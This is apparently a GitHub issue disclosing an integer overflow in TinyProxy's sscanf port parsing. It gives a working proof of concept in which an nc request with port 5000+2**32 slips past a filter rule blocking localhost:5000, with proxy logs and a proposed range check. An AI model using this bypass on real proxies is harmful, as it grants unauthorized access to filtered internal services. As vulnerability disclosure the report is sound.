-
Notifications
You must be signed in to change notification settings - Fork 740
Closed
Description
Hi, I found an integer overflow in TinyProxy.
Affected version
This issue exists in the latest version
The bug
src/reqs.c
Tinyproxy parses the port with sscanf (ptr1, "%d", &port) and doesn't check ranges. This use of sscanf is vulnerable to integer overflow: if you send a port like 5000 + 2**32 = 4294972296, it overflows and wraps back to 5000.
static int strip_return_port (char *host)
{
char *ptr1;
char *ptr2;
int port;
ptr1 = strrchr (host, ':');
if (ptr1 == NULL)
return 0;
/* Check for IPv6 style literals */
ptr2 = strchr (ptr1, ']');
if (ptr2 != NULL)
return 0;
*ptr1++ = '\0';
if (sscanf (ptr1, "%d", &port) != 1) /* one conversion required */
return 0;
return port;
}Proof of Concept
1. Setup tinyproxy to block port 5000
Create filter file:
sudo tee /etc/tinyproxy/filter << EOF
127.0.0.1:5000
localhost:5000
EOFIn /etc/tinyproxy/tinyproxy.conf ensure:
Filter "/etc/tinyproxy/filter"
FilterURLs On
FilterDefaultDeny NoRestart tinyproxy: sudo systemctl restart tinyproxy
2. Create a simple Backend server running on Flask:
from flask import Flask, request, jsonify
app = Flask(__name__)
@app.route('/', defaults={'p': ''})
@app.route('/<path:p>')
def all(p):
return jsonify({
"host": request.headers.get("Host"),
"path": request.path
})
if __name__ == "__main__":
app.run(host="127.0.0.1", port=5000)3. Send normal request - getting blocked
{
echo "GET http://localhost:$(python3 -c "print(5000)")/ HTTP/1.1"
echo ""
} | nc localhost 8888
HTTP/1.1 403 Filtered
Server: tinyproxy/1.11.2
Content-Type: text/html
Connection: close
<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN" "http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en">
<head>
<title>403 Filtered</title>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
</head>
<body>
<h1>Filtered</h1>
<p>The request you made has been filtered</p>
<hr />
<p><em>Generated by <a href="https://tinyproxy.github.io/">tinyproxy</a> version 1.11.2.</em></p>
</body>
</html>4. Bypass using integer overflow
{
echo "GET http://localhost:$(python3 -c "print(5000+2**32)")/ HTTP/1.1"
echo ""
} | nc localhost 8888
HTTP/1.1 200 OK
Via: 1.1 tinyproxy (tinyproxy/1.11.2)
Server: Werkzeug/3.1.3 Python/3.12.3
Date: Thu, 16 Oct 2025 15:18:20 GMT
Content-Type: application/json
Content-Length: 37
{"host":"localhost:5000","path":"/"}Tinyproxy log
CONNECT Oct 16 13:18:21.606 [1864]: Request (file descriptor 6): GET http://localhost:4294972296/test HTTP/1.1
INFO Oct 16 13:18:21.610 [1864]: No upstream proxy for localhost
INFO Oct 16 13:18:21.613 [1864]: opensock: opening connection to localhost:5000
INFO Oct 16 13:18:21.616 [1864]: opensock: getaddrinfo returned for localhost:5000
CONNECT Oct 16 13:18:21.619 [1864]: Established connection to host "localhost" using file descriptor 7.
INFO Oct 16 13:18:21.623 [1864]: Closed connection between local client (fd:6) and remote client (fd:7)
CONNECT Oct 16 13:19:49.049 [1864]: Connect (file descriptor 6): 127.0.0.1
CONNECT Oct 16 13:19:49.065 [1864]: Request (file descriptor 6): GET http://localhost:5000/ HTTP/1.1
NOTICE Oct 16 13:19:49.068 [1864]: Proxying refused on filtered url "http://localhost:5000/"
CONNECT Oct 16 13:19:52.509 [1864]: Connect (file descriptor 6): 127.0.0.1
CONNECT Oct 16 13:19:52.524 [1864]: Request (file descriptor 6): GET http://localhost:4294972296/test HTTP/1.1
INFO Oct 16 13:19:52.527 [1864]: No upstream proxy for localhost
INFO Oct 16 13:19:52.531 [1864]: opensock: opening connection to localhost:5000
INFO Oct 16 13:19:52.535 [1864]: opensock: getaddrinfo returned for localhost:5000
CONNECT Oct 16 13:19:52.538 [1864]: Established connection to host "localhost" using file descriptor 7.
INFO Oct 16 13:19:52.543 [1864]: Closed connection between local client (fd:6) and remote client (fd:7)
CONNECT Oct 16 13:20:08.258 [1864]: Connect (file descriptor 6): 127.0.0.1
CONNECT Oct 16 13:20:08.273 [1864]: Request (file descriptor 6): GET http://localhost:5000/test HTTP/1.1
NOTICE Oct 16 13:20:08.276 [1864]: Proxying refused on filtered url "http://localhost:5000/test"
CONNECT Oct 16 13:20:17.172 [1864]: Connect (file descriptor 6): 127.0.0.1
CONNECT Oct 16 13:20:17.188 [1864]: Request (file descriptor 6): GET http://localhost:4294972296/ HTTP/1.1
INFO Oct 16 13:20:17.192 [1864]: No upstream proxy for localhost
INFO Oct 16 13:20:17.195 [1864]: opensock: opening connection to localhost:5000
INFO Oct 16 13:20:17.198 [1864]: opensock: getaddrinfo returned for localhost:5000
CONNECT Oct 16 13:20:17.201 [1864]: Established connection to host "localhost" using file descriptor 7.
INFO Oct 16 13:20:17.205 [1864]: Closed connection between local client (fd:6) and remote client (fd:7)
Impact
This is a high-impact bug with low effort to exploit:
- Security Bypass: Allows attackers to completely bypass security controls and filter rules that depend on the host and port matching (e.g., denying access to internal services like admin panels, sensitive APIs, or specific application ports).
- Privilege Escalation: In environments where TinyProxy acts as a gateway, this can enable unauthorized access to backend systems.
Remediation
Add explicit port range validation before use (1-65535).
Metadata
Metadata
Assignees
Labels
No labels